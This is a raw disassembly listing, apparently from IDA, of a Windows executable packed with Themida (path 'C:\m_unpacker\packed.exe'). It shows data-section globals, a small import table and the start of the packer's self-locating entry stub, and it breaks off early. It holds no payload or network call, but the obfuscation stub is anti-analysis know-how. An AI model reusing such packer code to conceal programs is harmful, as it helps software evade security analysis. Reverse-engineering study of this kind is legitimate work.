dword_4CAFAC dd 0 ; DATA XREF: sub_409B12+112w
dword_4CAFB0 dd 0 ; DATA XREF: sub_409B12+BE7w
; sub_409B12+C22r
dword_4CAFB4 dd 0 ; DATA XREF: sub_401ACD+2FE4r
; sub_401ACD+5F98r ...
dword_4CAFB8 dd 0 ; DATA XREF: sub_409B12+459w
; sub_409B12+4BBr ...
dword_4CAFBC dd 0 ; DATA XREF: sub_409B12+49Aw
; sub_409B12+4E3r ...
dword_4CAFC0 dd 0 ; DATA XREF: sub_409B12+466w
; sub_409B12+4C3r ...
dword_4CAFC4 dd 0 ; DATA XREF: sub_401955+89r
; sub_401ACD+51D3r ...
dword_4CAFC8 dd 0 ; DATA XREF: sub_409B12+1A6w
; sub_409B12+1E2r ...
dword_4CAFCC dd 0 ; DATA XREF: sub_409B12+9F2w
; sub_409B12+A53r ...
dword_4CAFD0 dd 0 ; DATA XREF: sub_409B12+158w
; sub_409B12+1ADr ...
dword_4CAFD4 dd 0 ; DATA XREF: sub_409B12+8Cw
; sub_409B12+E2r ...
dword_4CAFD8 dd 0 ; DATA XREF: sub_409B12+610w
; sub_409B12+764r ...
dword_4CAFDC dd 0 ; DATA XREF: sub_409B12+B43w
; sub_409B12+B5Fr
dword_4CAFE0 dd 0 ; DATA XREF: sub_409B12+33Aw
; sub_419651+55r
dword_4CAFE4 dd 0 ; DATA XREF: sub_409B12+27Ew
; sub_409B12+2D3r ...
dword_4CAFE8 dd 0 ; DATA XREF: sub_409B12+BAAw
dword_4CAFEC dd 0 ; DATA XREF: sub_409B12+AECw
; sub_40AB31+CEr
dword_4CAFF0 dd 0 ; DATA XREF: sub_409B12+ADFw
; sub_409B12+AE6r ...
dword_4CAFF4 dd 0 ; DATA XREF: sub_4017ED+A6r
; sub_401ACD+5132r ...
dword_4CAFF8 dd 0 ; DATA XREF: sub_401ACD+5124r
; sub_401ACD+7980r ...
dword_4CAFFC dd 0 ; DATA XREF: sub_409B12+BF4w
; sub_409B12+C2Fr
dword_4CB000 dd 0 ; DATA XREF: sub_401ACD+1E56r
; sub_401ACD+5AEDr ...
dword_4CB004 dd 0 ; DATA XREF: sub_409B12+9B1w
; sub_409B12+A2Br ...
dword_4CB008 dd 0 ; DATA XREF: sub_409B12+65Ew
; sub_409B12+794r ...
dword_4CB00C dd 0 ; DATA XREF: sub_40111D+12r
; sub_4017ED+D0r ...
dword_4CB010 dd 0 ; DATA XREF: sub_409B12+59Bw
; sub_409B12+70Cr ...
dword_4CB014 dd 0 ; DATA XREF: sub_409B12+B36w
; sub_409B12+B57r
dword_4CB018 dd 0 ; DATA XREF: sub_409B12+540w
; sub_409B12+6C4r ...
dword_4CB01C dd 0 ; DATA XREF: sub_409B12+B29w
; sub_409B12+B4Ar
dword_4CB020 dd 0 ; DATA XREF: ___:00401273r
; sub_409B12+31w ...
dword_4CB024 dd 0 ; DATA XREF: sub_409B12+17Fw
; sub_409B12+1CAr ...
dd 0
dword_4CB02C dd 0 ; DATA XREF: sub_409B12+927w
; sub_409B12+93Br
dword_4CB030 dd 0 ; DATA XREF: sub_409B12+99w
; sub_409B12+EAr ...
dword_4CB034 dd 0 ; DATA XREF: sub_409B12:loc_409C10w
; sub_409B12+12Bw ...
dword_4CB038 dd 0 ; DATA XREF: sub_409B12+126w
; sub_40A7CE+1Cr
dword_4CB03C dd 0 ; DATA XREF: sub_409B12:loc_409D00w
; sub_409B12:loc_409D67w ...
dword_4CB040 dd 0 ; DATA XREF: sub_409B12+250w
; sub_40A7CE+50r
dword_4CB044 dd 0 ; DATA XREF: ___:0040156Ar
; sub_401ACD+4567r ...
dword_4CB048 dd 0 ; DATA XREF: sub_409B12+41Ew
; sub_40A7CE+84r
dword_4CB04C dd 0 ; DATA XREF: sub_409B12:loc_40A016w
; sub_40A7CE:loc_40A87Er
dword_4CB050 dd 0 ; DATA XREF: sub_409B12+4FFw
; sub_40A7CE+B8r
dword_4CB054 dd 0 ; DATA XREF: sub_409B12:loc_40A2E7w
; sub_40A7CE:loc_40A8B2r
dword_4CB058 dd 0 ; DATA XREF: sub_409B12+7D0w
; sub_40A7CE+ECr
dword_4CB05C dd 0 ; DATA XREF: sub_409B12:loc_40A3D2w
; sub_409B12+8EFw ...
dword_4CB060 dd 0 ; DATA XREF: sub_409B12+8EAw
; sub_40A7CE+120r
dword_4CB064 dd 0 ; DATA XREF: sub_401ACD:loc_406F17r
; sub_409B12:loc_40A466w ...
dword_4CB068 dd 0 ; DATA XREF: sub_409B12+94Fw
; sub_40A7CE+154r
dword_4CB06C dd 0 ; DATA XREF: sub_401ACD+456Fr
; sub_409B12:loc_40A582w ...
dword_4CB070 dd 0 ; DATA XREF: sub_409B12+A6Bw
; sub_40A7CE+188r
dword_4CB074 dd 0 ; DATA XREF: sub_409B12:loc_40A5CCw
; sub_40A7CE:loc_40A982r
dword_4CB078 dd 0 ; DATA XREF: sub_409B12+AB5w
; sub_40A7CE+1BCr
dword_4CB07C dd 0 ; DATA XREF: sub_409B12:loc_40A616w
; sub_40A7CE:loc_40A9B6r
dword_4CB080 dd 0 ; DATA XREF: sub_409B12+AFFw
; sub_40A7CE+1F0r
dword_4CB084 dd 0 ; DATA XREF: sub_409B12:loc_40A68Aw
; sub_40A7CE:loc_40A9EAr
dword_4CB088 dd 0 ; DATA XREF: sub_409B12+B73w
; sub_40A7CE+224r
dword_4CB08C dd 0 ; DATA XREF: sub_409B12:loc_40A6D4w
; sub_40A7CE:loc_40AA1Er
dword_4CB090 dd 0 ; DATA XREF: sub_409B12+BBDw
; sub_40A7CE+258r
dword_4CB094 dd 0 ; DATA XREF: sub_409B12:loc_40A772w
; sub_40A7CE:loc_40AA52r
dword_4CB098 dd 0 ; DATA XREF: sub_409B12+C5Bw
; sub_40A7CE+28Cr
dword_4CB09C dd 0 ; DATA XREF: sub_409B12:loc_40A7BCw
; sub_40A7CE:loc_40AA86r
dword_4CB0A0 dd 0 ; DATA XREF: sub_409B12+CA5w
; sub_40A7CE+2C0r
dword_4CB0A4 dd 7 dup(0) ; DATA XREF: sub_40AC0F+32o
dword_4CB0C0 dd 0 ; DATA XREF: sub_40BA56+18r
; sub_40BFEB+92w ...
dword_4CB0C4 dd 0 ; DATA XREF: sub_40C124+4Dr
; sub_40C124+2F1w ...
dd 7FEh dup(0)
dword_4CD0C0 dd 6 dup(0) ; DATA XREF: sub_40C124+D2o
; sub_40C124+13Bo ...
dword_4CD0D8 dd 0 ; DATA XREF: sub_40BACD+2C4w
; sub_40BACD+348o
dword_4CD0DC dd 0 ; DATA XREF: sub_40BACD+33Ew
; sub_40BACD+35Ar
dword_4CD0E0 dd 0 ; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4 dd 0 ; DATA XREF: sub_40BACD+2B9w
; sub_40BACD:loc_40BDE2r
dword_4CD0E8 dd 20h dup(0) ; DATA XREF: sub_40BACD+2E2o
; sub_40BACD+302o
dword_4CD168 dd 0 ; DATA XREF: sub_40BACD+2D5w
dword_4CD16C dd 0 ; DATA XREF: sub_40BACD+2EFw
; sub_40BACD+30Fw
dword_4CD170 dd 0 ; DATA XREF: sub_40BACD:loc_40BE3Dr
align 8
dword_4CD178 dd 0 ; DATA XREF: sub_40BACD+82w
; sub_40BACD+101o
dword_4CD17C dd 41h dup(0) ; DATA XREF: sub_40BACD+41o
dword_4CD280 dd 41h dup(0) ; DATA XREF: sub_40BACD+69o
dword_4CD384 dd 0 ; DATA XREF: sub_40BACD+F7w
; sub_40BACD+113r
dword_4CD388 dd 0 ; DATA XREF: sub_40BACD+52w
dword_4CD38C dd 0 ; DATA XREF: sub_40BACD+4Dw
; sub_40BACD+D4r
dword_4CD390 dd 20h dup(0) ; DATA XREF: sub_40BACD+9Ao
; sub_40BACD+BAo
dword_4CD410 dd 0 ; DATA XREF: sub_40BACD+8Fw
dword_4CD414 dd 0 ; DATA XREF: sub_40BACD+A7w
; sub_40BACD+C7w
dword_4CD418 dd 0 ; DATA XREF: sub_40BACD:loc_40BBF6r
align 10h
dword_4CD420 dd 0 ; DATA XREF: sub_40BACD+1A5w
; sub_40BACD+225o
dword_4CD424 dd 41h dup(0) ; DATA XREF: sub_40BACD+167o
dword_4CD528 dd 41h dup(0) ; DATA XREF: sub_40BACD+18Co
dword_4CD62C dd 0 ; DATA XREF: sub_40BACD+21Bw
; sub_40BACD+237r
dword_4CD630 dd 0 ; DATA XREF: sub_40BACD+17Aw
dword_4CD634 dd 0 ; DATA XREF: sub_40BACD+175w
; sub_40BACD+1F8r
dword_4CD638 dd 20h dup(0) ; DATA XREF: sub_40BACD+1BEo
; sub_40BACD+1DEo
dword_4CD6B8 dd 0 ; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC dd 0 ; DATA XREF: sub_40BACD+1CBw
; sub_40BACD+1EBw
dword_4CD6C0 dd 0 ; DATA XREF: sub_40BACD:loc_40BD1Ar
align 8
dword_4CD6C8 dd 0 ; DATA XREF: sub_40BACD+417w
; sub_40BACD+470o
dword_4CD6CC dd 0A2h dup(0) ; DATA XREF: sub_40BACD+405o
dword_4CD954 dd 41h dup(0) ; DATA XREF: sub_40BACD+3CFo
dword_4CDA58 dd 0 ; DATA XREF: sub_40BACD+3FCw
; sub_40BACD+423r
align 10h
dword_4CDA60 dd 0 ; DATA XREF: sub_40BACD+466w
; sub_40BACD+482r
dword_4CDA64 dd 0 ; DATA XREF: sub_40BACD+429w
dword_4CDA68 dd 0 ; DATA XREF: sub_40BACD+436w
dword_4CDA6C dd 0 ; DATA XREF: sub_40BACD+3F6w
dd 0
dword_4CDA74 dd 0 ; DATA XREF: sub_40BACD:loc_40BF65r
dd 0
dword_4CDA7C dd 0 ; DATA XREF: sub_40B719+Er
; sub_40B719+32r
dword_4CDA80 dd 0 ; DATA XREF: sub_40B719+9r
; sub_40B719+26r
dword_4CDA84 dd 82h dup(0) ; DATA XREF: sub_40C59B+8Do
dword_4CDC8C dd 2 dup(0) ; DATA XREF: sub_40CF04+68o
dword_4CDC94 dd 0 ; DATA XREF: sub_40D89F+8w
; ___:0040DC6Eo
dd 0
dword_4CDC9C dd 2 dup(0) ; DATA XREF: ___:0040DBA4o
dword_4CDCA4 dd 0 ; DATA XREF: ___:0040E4D7r
dd 0
dd 0
dword_4CDCB0 dd 0 ; DATA XREF: ___:0040E4AAr
dword_4CDCB4 dd 0 ; DATA XREF: ___:0040E48Cr
; ___:0040E4F5r
dd 0
dword_4CDCBC dd 0 ; DATA XREF: sub_40BACD+2AEr
; ___:0040E6E8w
dd 0
dword_4CDCC4 dd 0 ; DATA XREF: sub_40B785+1Cr
dword_4CDCC8 dd 0 ; DATA XREF: ___:0040EFE8w
; ___:0040F00Fr ...
dd 3 dup(0)
dword_4CDCD8 dd 0 ; DATA XREF: ___:00410905r
align 10h
dword_4CDCE0 dd 0 ; DATA XREF: sub_412351+4w
; sub_412351+9o
dd 109h dup(0)
dword_4CE108 dd 188h dup(0) ; DATA XREF: sub_401ACD+2F6Eo
; sub_401ACD:loc_404AC4o
dword_4CE728 dd 0 ; DATA XREF: sub_401ACD+1A23w
; sub_401ACD+2F66r ...
dd 11Ch dup(0)
dword_4CEB9C dd 1000h dup(0) ; DATA XREF: sub_4151AC+1Do
; sub_41524Co ...
dword_4D2B9C dd 0 ; DATA XREF: sub_4151AC+13o
; sub_41524C+Eo ...
dword_4D2BA0 dd 0 ; DATA XREF: sub_4155F7+Fr
; sub_4157F0+12r
align 8
dword_4D2BA8 dd 0Eh dup(0) ; DATA XREF: sub_416922+Fo
dword_4D2BE0 dd 80h dup(0) ; DATA XREF: sub_4175E9+41o
dword_4D2DE0 dd 200h dup(0) ; DATA XREF: sub_416F1A+C7o
; sub_417275+DDo ...
dword_4D35E0 dd 200h dup(0) ; DATA XREF: sub_416F1A+D6o
; sub_417275+F4o ...
dword_4D3DE0 dd 0 ; DATA XREF: sub_416F1A+86w
; sub_4170EC+94r
dword_4D3DE4 dd 0 ; DATA XREF: sub_416F1A+A7w
; sub_417552+55r ...
dword_4D3DE8 dd 0 ; DATA XREF: sub_416F1A+A0w
; sub_4170EC+D6r ...
dword_4D3DEC dd 0 ; DATA XREF: sub_416F1A+79w
; sub_4170EC+35r ...
dword_4D3DF0 dd 80h dup(0) ; DATA XREF: sub_417552+5Eo
dword_4D3FF0 dd 0 ; DATA XREF: sub_416F1A+93w
; sub_4170EC+A2r
align 8
dword_4D3FF8 dd 0 ; DATA XREF: sub_416F1A+E7o
; sub_416F1A+103r ...
dword_4D3FFC dd 0 ; DATA XREF: sub_417275+17Bw
; sub_41741C+107w
dword_4D4000 dd 0 ; DATA XREF: sub_417275+180w
; sub_41741C+10Dw ...
dword_4D4004 dd 0 ; DATA XREF: sub_417275+159w
; sub_417552+4Fr
dword_4D4008 dd 0 ; DATA XREF: sub_4178BA+22w
; sub_4178BA:loc_417A3Fw ...
dword_4D400C dd 0 ; DATA XREF: sub_401ACD+3CC3o
; sub_417788+12o ...
dd 0
dword_4D4014 dd 0 ; DATA XREF: sub_4178BA+1Cr
; sub_417A5F+3Ar
dd 4Eh dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_437830o
dd 30h dup(0)
dword_4D4214 dd 0 ; DATA XREF: sub_4178BA+28r
; sub_417A5F+4Aw
dd 1944h dup(0)
dword_4DA728 dd 0 ; DATA XREF: sub_417A5F+23o
dword_4DA72C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CE1o
; sub_417788+3Co ...
dword_4DA930 dd 17h dup(0) ; DATA XREF: sub_4187DD:loc_4188FAo
; sub_4187DD+131o ...
dword_4DA98C dd 80h dup(0) ; DATA XREF: sub_419593+7Co
; sub_419593+A5o
dword_4DAB8C dd 0 ; DATA XREF: sub_418B58+45w
; sub_418B58+4Dr ...
dword_4DAB90 dd 17h dup(0) ; DATA XREF: sub_41945F:loc_419581o
; sub_41945F+12Do
dword_4DABEC dd 80h dup(0) ; DATA XREF: sub_418A98+4Co
; sub_418A98+7Eo ...
byte_4DADEC db 0 ; DATA XREF: sub_418B58+29r
; sub_418B58+34w
align 10h
dword_4DADF0 dd 80h dup(0) ; DATA XREF: sub_418DAF+61o
; sub_418DAF+89o ...
dword_4DAFF0 dd 81h dup(0) ; DATA XREF: sub_4186C1:loc_4186F9o
; sub_4186C1+5Bo
dword_4DB1F4 dd 0 ; DATA XREF: sub_419A20:loc_419A41r
; sub_419B0F+54r ...
dword_4DB1F8 dd 0 ; DATA XREF: sub_419A20r
; sub_419B0F+37r ...
dword_4DB1FC dd 0 ; DATA XREF: sub_419A50+1Ar
; sub_419C64+83o
dword_4DB200 dd 0 ; DATA XREF: sub_419A20:loc_419A34r
; sub_419C64+11Bw
dword_4DB204 dd 0Dh dup(0) ; DATA XREF: sub_419B0F+13o
; sub_419C64:loc_419DA1o
dword_4DB238 dd 0 ; DATA XREF: sub_419B0F+CDr
; sub_419B0F+ECr ...
align 10h
dword_4DB240 dd 0Eh dup(0) ; DATA XREF: sub_41A88B+47o
dword_4DB278 dd 0 ; DATA XREF: sub_41BBBD+1B9w
; ___:loc_41D268w ...
dword_4DB27C dd 0 ; DATA XREF: sub_41D3BE+35w
; sub_41DA72:loc_41DB0Cw ...
dword_4DB280 dd 0 ; DATA XREF: sub_423A33+13Ar
dd 0A28h, 501h, 5, 1
dword_4DB294 dd 1 ; DATA XREF: ___:loc_401516r
; ___:00423014w
dword_4DB298 dd 2430B30h ; DATA XREF: ___:0040151Fr
; ___:0040153Fr ...
align 10h
dword_4DB2A0 dd 2430B58h ; DATA XREF: ___:00422F0Ew
; sub_425AC7+9r ...
dword_4DB2A4 dd 0 ; DATA XREF: sub_4261AB+36r
dword_4DB2A8 dd 0 ; DATA XREF: sub_425AC7+16r
; sub_425E95+4r ...
align 10h
off_4DB2B0 dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4DB2B8 db 0 ; DATA XREF: sub_41B7D3+2Dw
; sub_4239DB+5r
align 4
dword_4DB2BC dd 0 ; DATA XREF: sub_41B7D3+27w
dword_4DB2C0 dd 0 ; DATA XREF: sub_41B7D3+4r
; sub_41B7D3+8Bw
dword_4DB2C4 dd 0 ; DATA XREF: sub_41C0F4+3Br
; sub_41C0F4+91w
dd 0
dword_4DB2CC dd 0 ; DATA XREF: sub_41C748+Aw
dword_4DB2D0 dd 0 ; DATA XREF: sub_41D081+5Er
; sub_41D081+A4w
align 8
word_4DB2D8 dw 0 ; DATA XREF: sub_41D081+55r
; sub_41D081+9Ao
word_4DB2DA dw 0 ; DATA XREF: sub_41D081+48r
db 2 dup(0)
word_4DB2DE dw 0 ; DATA XREF: sub_41D081+3Br
word_4DB2E0 dw 0 ; DATA XREF: sub_41D081+2Er
word_4DB2E2 dw 0 ; DATA XREF: sub_41D081+21r
align 8
dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_422EDCr
; ___:loc_422F1Er ...
align 10h
dword_4DB2F0 dd 0 ; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4 dd 0 ; DATA XREF: sub_41EB10+4Bw
; sub_41EC29+2Dw ...
dword_4DB2F8 dd 0 ; DATA XREF: sub_41F312r
dword_4DB2FC dd 0 ; DATA XREF: sub_41B202:loc_41B31Er
; sub_41B202:loc_41B43Fr ...
dword_4DB300 dd 1 ; DATA XREF: sub_41FEA9:loc_420024r
; sub_420042+4w ...
dword_4DB304 dd 0 ; DATA XREF: sub_420446+37r
dd 0
dword_4DB30C dd 0 ; DATA XREF: sub_4219D9+11r
; sub_421ADD+1Ar ...
byte_4DB310 db 0 ; DATA XREF: sub_4219D9+3r
; sub_4219D9+98r ...
align 4
dword_4DB314 dd 0 ; DATA XREF: sub_421ADD+11r
; sub_421BBB+21w ...
byte_4DB318 db 0 ; DATA XREF: sub_421BBB+51w
align 4
dword_4DB31C dd 0 ; DATA XREF: sub_421DB1+4Er
; sub_42218C+3Ar ...
dword_4DB320 dd 0 ; DATA XREF: sub_421DB1+5Cr
; sub_42218C+43r ...
dword_4DB324 dd 0 ; DATA XREF: sub_41C9CE+7Ar
; sub_421F58+5r
dword_4DB328 dd 0 ; DATA XREF: sub_42255C+29r
dword_4DB32C dd 2 dup(0) ; DATA XREF: sub_41D160+Co
dword_4DB334 dd 0 ; DATA XREF: sub_41D5AA+4r
; sub_41D5AA+6Er ...
dd 3 dup(0)
dword_4DB344 dd 0 ; DATA XREF: sub_41D834+61r
; sub_41D834+BFr ...
dd 0
dword_4DB34C dd 1 ; DATA XREF: sub_422ACA+28r
; sub_422ACA+4Cw ...
dword_4DB350 dd 0 ; DATA XREF: ___:00422D28r
; ___:00422D34w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
; ___:off_4DB2B0o
align 10h
dd 3Ah dup(0)
dword_4DB458 dd 1 ; DATA XREF: ___:004231D2r
; ___:004231F3w ...
dword_4DB45C dd 0 ; DATA XREF: sub_423590+21r
dword_4DB460 dd 0 ; DATA XREF: sub_41F32D+154w
; sub_420446:loc_42046Fw ...
dword_4DB464 dd 0 ; DATA XREF: sub_41F32D+7r
dword_4DB468 dd 1 ; DATA XREF: sub_423CEC+26r
; sub_423CEC:loc_423D56w
align 10h
word_4DB470 dw 0 ; DATA XREF: sub_4245E9+1Ao
; sub_4245E9+46r
byte_4DB472 db 0 ; DATA XREF: sub_4245E9+39r
align 4
dword_4DB474 dd 7 dup(0) ; DATA XREF: sub_4245E9+52o
dword_4DB490 dd 0 ; DATA XREF: sub_4245E9+40w
; sub_4245E9+5Co
dword_4DB494 dd 0 ; DATA XREF: sub_4245E9+4Dw
dword_4DB498 dd 0 ; DATA XREF: sub_4245E9+31w
dword_4DB49C dd 0 ; DATA XREF: sub_4245E9+52w
dword_4DB4A0 dd 77C26E79h ; DATA XREF: sub_42470C:loc_42472Fr
; sub_42470C+38r
align 8
dword_4DB4A8 dd 0 ; DATA XREF: sub_4247EC+11w
; sub_4247EC+63w ...
align 10h
dword_4DB4B0 dd 0 ; DATA XREF: sub_4247EC+33o
; sub_4247EC+46r
dword_4DB4B4 dd 10h dup(0) ; DATA XREF: sub_4247EC+C1o
word_4DB4F4 dw 0 ; DATA XREF: sub_424A4A+A8r
word_4DB4F6 dw 0 ; DATA XREF: sub_4247EC+54r
; sub_424A4A+DBr ...
word_4DB4F8 dw 0 ; DATA XREF: sub_424A4A+CAr
word_4DB4FA dw 0 ; DATA XREF: sub_424A4A+D3r
; sub_424A4A:loc_424B3Cr
word_4DB4FC dw 0 ; DATA XREF: sub_424A4A+C0r
word_4DB4FE dw 0 ; DATA XREF: sub_424A4A+B8r
word_4DB500 dw 0 ; DATA XREF: sub_424A4A+B0r
word_4DB502 dw 0 ; DATA XREF: sub_424A4A+9Er
dword_4DB504 dd 0 ; DATA XREF: sub_4247EC+4Br
dword_4DB508 dd 10h dup(0) ; DATA XREF: sub_4247EC+FBo
word_4DB548 dw 0 ; DATA XREF: sub_424A4A+46r
word_4DB54A dw 0 ; DATA XREF: sub_4247EC:loc_424863r
; sub_424A4A+78r ...
word_4DB54C dw 0 ; DATA XREF: sub_424A4A+67r
word_4DB54E dw 0 ; DATA XREF: sub_424A4A+70r
; sub_424A4A:loc_424ACEr
word_4DB550 dw 0 ; DATA XREF: sub_424A4A+5Dr
word_4DB552 dw 0 ; DATA XREF: sub_424A4A+55r
word_4DB554 dw 0 ; DATA XREF: sub_424A4A+4Dr
word_4DB556 dw 0 ; DATA XREF: sub_424A4A+3Er
dword_4DB558 dd 0 ; DATA XREF: sub_4247EC+80r
dword_4DB55C dd 0 ; DATA XREF: sub_4247EC+132r
; sub_4247EC:loc_424938r ...
dword_4DB560 dd 0 ; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564 dd 0 ; DATA XREF: sub_424D78+3r
; sub_424D78+2Ew ...
dword_4DB568 dd 0 ; DATA XREF: sub_424D78+43w
; sub_424D78:loc_424DC7r
dword_4DB56C dd 0 ; DATA XREF: sub_424D78+4Aw
; sub_424D78+60r
dword_4DB570 dd 0 ; DATA XREF: sub_423A33+3Fr
dword_4DB574 dd 0 ; DATA XREF: sub_425955:loc_4259BCr
; sub_425955+6Do
dword_4DB578 dd 0 ; DATA XREF: sub_425955:loc_425993r
; sub_425955+44o
dword_4DB57C dd 0 ; DATA XREF: sub_425955:loc_425986r
; sub_425955+37o
dword_4DB580 dd 0 ; DATA XREF: sub_425955:loc_4259A0r
; sub_425955+51o
align 8
dword_4DB588 dd 0 ; DATA XREF: sub_425F03+28r
; sub_425F03+48w ...
dword_4DB58C dd 0 ; DATA XREF: sub_426988+28r
; sub_426988+4Cw ...
dword_4DB590 dd 0 ; DATA XREF: sub_426C13+26r
; sub_426C13:loc_426C7Dw
byte_4DB594 db 0 ; DATA XREF: sub_40D878r sub_40D878+9w
align 4
dword_4DB598 dd 2431140h ; DATA XREF: sub_41DBF0:loc_41DC01r
; sub_41F49D+14r ...
align 10h
dword_4DB5A0 dd 400h dup(0) ; DATA XREF: ___:off_43C9E8o
; ___:0043C9F0o
dword_4DC5A0 dd 200h ; DATA XREF: sub_41DBF0+9r
; sub_41DBF0+56r ...
dd 7 dup(0)
dword_4DC5C0 dd 2430650h ; DATA XREF: sub_41F043+75r
; sub_41F11C+2Ar ...
dword_4DC5C4 dd 3Fh dup(0) ; DATA XREF: ___:00423394o
dword_4DC6C0 dd 20h ; DATA XREF: sub_41DA72+8r
; sub_41F11C+Cr ...
dword_4DC6C4 dd 4E4h ; DATA XREF: sub_41FEA9+14r
; sub_41FEA9+65w ...
align 10h
dword_4DC6D0 dd 3 dup(0) ; DATA XREF: sub_41FEA9+123o
; sub_41FEA9+171o ...
dword_4DC6DC dd 0 ; DATA XREF: sub_41FEA9+108w
; sub_41FEA9+15Dw ...
byte_4DC6E0 db 0 ; DATA XREF: sub_4200E8:loc_4201F4w
; sub_4200E8:loc_420211w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DC7E0 db 0 ; DATA XREF: sub_41FEA9+5Co
; sub_41FEA9+AFo ...
byte_4DC7E1 db 0 ; DATA XREF: sub_41B9D1+5Dr
; sub_41FEA9+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DC8E4 dd 0 ; DATA XREF: sub_41FEA9+6Ew
; sub_41FEA9+12Bw ...
dword_4DC8E8 dd 0 ; DATA XREF: sub_41E4D4+5r
; sub_41E4D4+32w
dword_4DC8EC dd 0 ; DATA XREF: sub_41DEA2+23Ar
; sub_41DEA2+25Ar ...
dword_4DC8F0 dd 0 ; DATA XREF: sub_41DEA2+311w
; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4 dd 0 ; DATA XREF: sub_41DEA2+22Dr
; sub_41DEA2+260r ...
dword_4DC8F8 dd 0 ; DATA XREF: sub_41DE77r
; sub_41DEA2+2CBr ...
dword_4DC8FC dd 0 ; DATA XREF: sub_41DE77+8r
; sub_41DEA2+2D0r ...
dword_4DC900 dd 0 ; DATA XREF: sub_41B202+5Cr
; sub_41B513+Fr ...
dword_4DC904 dd 2430000h ; DATA XREF: sub_41B0B1+5Ar
; sub_41B202+C0r ...
dword_4DC908 dd 1 ; DATA XREF: sub_41B0B1+Cr
; sub_41B202:loc_41B232r ...
dword_4DC90C dd 142340h ; DATA XREF: ___:00422E81r
; ___:00422FACr
dword_4DC910 dd 1 ; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914 dd 1 ; DATA XREF: sub_42026Dr
; sub_42026D+11w ...
dword_4DC918 dd 2430758h ; DATA XREF: sub_41B7D3+3Er
; sub_41CFD3+13r ...
dword_4DC91C dd 2430758h ; DATA XREF: sub_41B7D3+35r
; sub_41B7D3+57r ...
dd 1B8h dup(0)
dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___ ends
; Section 2. (virtual address 000DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DE000h
dword_4DE000 dd 400h dup(0) ; DATA XREF: Themida_:0053E9DCo
_rsrc___ ends
; Section 3. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4DF000h
a7icwCw db '7╗Гw╣\Гw',0
align 4
dd 77345219h, 4 dup(0)
dd 0DF050h, 0DF000h, 3 dup(0)
dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000E0000)
; Virtual size : 000DE000 ( 909312.)
; Section size in file : 000DE000 ( 909312.)
; Offset to raw data for section: 000E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 4E0000h
dd 486F38A9h, 4B332h, 540A1h, 95172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C7BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053FB14 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053FD8A SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0053FDE3 SIZE 0000000D BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_4E0086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E0041
popa
jmp short loc_4E0076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
db 40h
; ---------------------------------------------------------------------------
loc_4E0041: ; CODE XREF: start+18j
call $+5
pop eax
loc_4E0047: ; DATA XREF: ___:00437A34o
and eax, 0FFFFF000h
xor edi, edi
loc_4E004E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
